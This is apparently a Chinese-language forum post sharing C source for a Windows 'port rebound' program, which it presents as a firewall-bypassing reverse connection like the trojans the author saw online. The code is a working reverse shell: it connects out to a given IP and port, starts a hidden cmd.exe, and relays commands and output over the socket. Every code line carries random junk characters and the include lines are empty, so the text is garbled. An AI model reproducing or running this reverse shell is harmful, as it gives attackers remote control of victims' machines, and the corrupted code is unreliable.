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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 . koYHq  
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/* ============================== >AcrG]  
Rebound port in Windows NT ^-,xE>3o  
By wind,2006/7 y#q?A,C@n  
===============================*/ eD*A )  
#include P;Ga4Q.  
#include Zo g']=  
;xzUE`uUfJ  
#pragma comment(lib,"wsock32.lib") hRK/T7v  
1+}{8D_F  
void OutputShell(); 8C67{^`::  
SOCKET sClient; w-Da~[J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vTJ}8  
%k'!Iq+  
void main(int argc,char **argv) k +H3Bq  
{ (=* cK-3  
WSADATA stWsaData; R,pX:H&#+  
int nRet; TrLu~4  
SOCKADDR_IN stSaiClient,stSaiServer; U$_xUG  
/f|X(docI  
if(argc != 3) A'jP7 P  
{ joiL{  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2oNk 93D  
return; wid;8%m  
} %F-ZN^R  
K95p>E`9e  
WSAStartup(MAKEWORD(2,2),&stWsaData); ">y%iE  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |MFF7z{%  
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stSaiClient.sin_family = AF_INET; \}p6v}  
stSaiClient.sin_port = htons(0); ( 5tvfz%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G0^2Wk[  
6~1|qEe6I  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o1FF"tLkN  
{ QlO0qbG[y  
printf("Bind Socket Failed!\n"); RPE5K:P  
return; vK _?<>  
} E )5E$  
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stSaiServer.sin_family = AF_INET; 1:f9J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z|5?7v;h5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }M3fmAP}  
Z;:u'=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }^/9G17  
{ c@/(B:@  
printf("Connect Error!"); ni<A3OB  
return; E}40oID  
} /4` 0?/V  
OutputShell(); YwZ Z{+n  
} Qzlo'e1  
Axe8n1*y  
void OutputShell() SRrw0&ts  
{ @@8J6*y  
char szBuff[1024]; #m{UrTC  
SECURITY_ATTRIBUTES stSecurityAttributes; |aT| l^2R@  
OSVERSIONINFO stOsversionInfo; UG'9*(*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f"u%J/e&  
STARTUPINFO stStartupInfo; B, TB3 {  
char *szShell; 6y6<JR-V2k  
PROCESS_INFORMATION stProcessInformation; ~:3QBMk::  
unsigned long lBytesRead; DsT>3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l,,> & F  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JWMpPzs  
stSecurityAttributes.lpSecurityDescriptor = 0; q.2ykL  
stSecurityAttributes.bInheritHandle = TRUE; 3>R#zJf  
%=/)  
~Uxsn@nLr  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uoXAQ6k  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L7V G`h;  
\>7^f 3m  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); O }(VlR2  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^V#@QPK9  
stStartupInfo.wShowWindow = SW_HIDE; F@<CsgKB-  
stStartupInfo.hStdInput = hReadPipe; ad:&$  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 49w=XJ  
KN7n@$8YM  
GetVersionEx(&stOsversionInfo); op6CA"w  
1. rj'  
switch(stOsversionInfo.dwPlatformId) L (khAmm  
{ l PK +$f$  
case 1: ,=|ZB4HA  
szShell = "command.com"; + j W1V}h  
break; w0C~*fn3l  
default: unBy&?&p  
szShell = "cmd.exe"; *7h!w!LN~  
break; Up,vD)tG  
} D,g1<:<  
nSkPM 5\TI  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qUOKB6  
x}Aw)QCh+r  
send(sClient,szMsg,77,0); /yZQ\{=  
while(1) VxXzAeM  
{ ]Yvga!S"C  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H<}^'#"p  
if(lBytesRead) N9vP7  
{ .]sf0S!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rwG CUo6Z  
send(sClient,szBuff,lBytesRead,0); 86\S?=J-b  
} U)o$WH.b  
else I;Bjfv5  
{ UGuxV+Nwf  
lBytesRead=recv(sClient,szBuff,1024,0); x >^Si/t  
if(lBytesRead<=0) break; QCX8IIHG  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cdG |m[  
} aMvI?y {  
} d\ ~QBr?  
;\\@q"n%<  
return; Vgyew9>E  
}
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